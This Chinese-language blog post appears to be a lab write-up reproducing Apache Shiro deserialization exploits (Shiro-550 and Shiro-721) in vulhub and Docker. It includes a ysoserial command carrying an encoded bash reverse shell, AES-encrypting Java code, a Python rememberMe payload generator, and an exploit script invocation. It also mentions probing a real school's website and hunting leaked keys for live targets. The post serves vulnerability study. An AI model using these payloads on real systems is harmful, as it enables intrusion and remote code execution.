0x00 前言
这几天没更新,是因为跑去渗透测试某不知名学校的网站去了。12号那天在外面玩了一天,回来跑了步,随便找几个网站测测,结果真的被我找到了一个API未授权访问,高危😋。这应该算本人第二个找到的漏洞,但却是第一个高危(没啥技术含量,就不细🔒了)…后面两天还想看看某不知名学校有没有漏洞,无果,发现自己的知识面还是太窄了,所以还是先学习吧。
本篇包含以下元素:
- Apache Shiro反序列化漏洞(CVE-2016-4437 or Shiro-550,同一个漏洞,不同称呼罢了)
- Apache Shiro反序列化漏洞(Shiro-721)
0x01 CVE-2016-4437 or Shiro-550
漏洞原理
在Shrio框架中,为了让登录过用户下次打开浏览器不用重复登陆,使用了名为rememberMe的cookie,其值经过了序列化,AES加密,Base64加密三步。
在识别身份的时候,会反向进行这三步: Base64解密,AES解密,反序列化。但是Shiro的1.2.4版本以及之前的版本中将默认的AES的密钥硬编码在了代码之中(其Base64加密的值为kPH+bIxk5D2deZiIxcaaaA==),所以只要我们拿到密钥(Shiro开源,这很容易做到)且开发者没有在源码更换重新编译(一般人都不会)的话,就能够将任意的恶意序列化内容设置为cookie的值,同时,Shiro又未对反序列的内容作过滤,这就导致了十分容易被反序列化攻击。
Shrio指纹识别
Cookie中加入rememberMe=1,响应数据包set-cookie显示rememberMe=deleteMe,即表示此网站使用了Shrio框架。
漏洞环境
使用vulhub即可,需要docker-compose,具体可看官方文档,此处不作详述。
漏洞复现
界面如下:
值得注意的是,有一个”Remember me”的功能,Burp抓包,Cookie中接入rememberMe=1(注意是Me,不是me,打错了你就和我一样找问题找一百年吧😭),查看结果:
这里有两个rememberMe,可能哪里犯病了,正常应该不会有两个
使用了Shiro框架没错了,下面是利用思路:
- 选一个Gadget(vulhub里面是使用了CommonsBeanutils1)
- 用默认的密钥对Gadget进行AES加密,接着Base64加密
- 将最后的Payload赋值给cookie中的rememberme
值得注意的是,并不是所有的反序列化都可以成功,因为Shiro的反序列化对原生类进行了重写,这个我们以后再来分析
生成Gadget之前,我们需要注意一个点,这也是我之前分析了这么多Java反序列化所不知道的,就是Java中的exec函数对管道符和空格的解析有点问题,如ls > xx.txt
,会被解析为ls两个目录(>与xx.txt)而不是将ls结果输入到xx.txt;ls 'the test'
,会被解析为ls 'the' 'test'
,为了避免这种错误,我们可以对命令进行编码。
这里有一个在线网站:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
把红框的命令复制,然后我们就可以利用ysoserial来生成Gadget了:
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
得到Gadget之后,我们下一步就是将其进行AES加密,这里使用vulhub为我们准备的代码:
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path to poc.ser"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
但是在运行这段代码之前,我们先要用maven导入一下Shiro的组件:
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
</dependencies>
运行后,得到的是一大串Base64,我们先开启监听,然后Payload替换到cookie之中:
成功反弹shell:
这里再提供一个生成加密Payload的Python脚本(需要先pip3 install pycryptodome):
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
使用方法: python3 xxx.py "bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjY1LjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"
漏洞的拓展
官方的修复方法是在>=1.2.5的版本中让Shrio每次启动的时候都随机生成一个密钥或由用户自己指定,但是这并不是说这些高版本下就不存在反序列化问题了,只要我们能够获得所使用的密钥,就依然能够进行攻击。有的网站使用的是网上的基于Shiro开源项目,而其中可能指定了密钥,所以我们可以在Github等开源社区中搜索相应项目的密钥(关键词setCipherKey(Base64.decode(“ 等),来尝试爆破,如果网站正好没修改,那我们就能攻击成功。
0x02 Shiro-721
漏洞原理
在Shrio版本<=1.4.1中,Shiro所采用的是AES-128-CBC加密模式, 并采用了PKCS#5的Padding模式,并且当存在一个有效身份认证时响应包里不会有rememberMe=deleteMe,但是当出现Padding错误时会出现,而Java的反序列化即使后面存在莫名奇妙的数据也不影响前面的反序列化,这就导致了如果在一个有效身份认证之后拼接一段数据,仍然能够成功认证,进而就意味着如果后面一段数据不满足Padding规则,就会出现deleteMe,满足则不出现。这样便符合了Padding-Oracle-Attack的条件,黑客能够通过这种攻击,构造明文为任意内容的密文,当然因为这里有反序列化,黑客自然会构造能够解密出恶意序列化Payload的密文。
Padding Oracle
专门出了一篇文章来讲解:浅显易懂のPadding-Oracle-Attack讲解,这里与Shiro有关的是,利用Padding-Oracle-Attack构造密文。
环境搭建
因为之前那个环境有点犯病或者是版本问题导致不管怎样都有deleteMe,这样子下去,铁定是不行的,所以我们换一个环境:inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attack (github.com)
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
搭建成功后的样子,如下图所示:
漏洞复现
可以看到,当存在一个有效的身份认证时,是不会出现deleteMe的:
随便在后面输入一个Padding,发现仍然能够成功认证(虽然身份变为了Guest),但是会因为Padding Error而出现deleteMe:
然后我们就能够根据浅显易懂のPadding-Oracle-Attack讲解中介绍的方法编写一个脚本,当然,由于我很懒🤣,就用这个项目里现成的。
首先,我们用ysoserial生成一个payload,这里依然使用CommonsBeanutils1(原因以后的文章来分析),并且尽量使用短一点的命令,这样构造的时间短些:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > payload.class
然后我们使用Python3脚本:
python3 shiro_exp.py http://你的IP:8080/home.jsp 你的Cookie payload.class
因为跑出来需要时间,这里就先不写了。
漏洞修复
在Shiro>=1.4.2的版本中,AES的加密模式变为了GCM模式,从而避免了Padding-Oracle-Attack。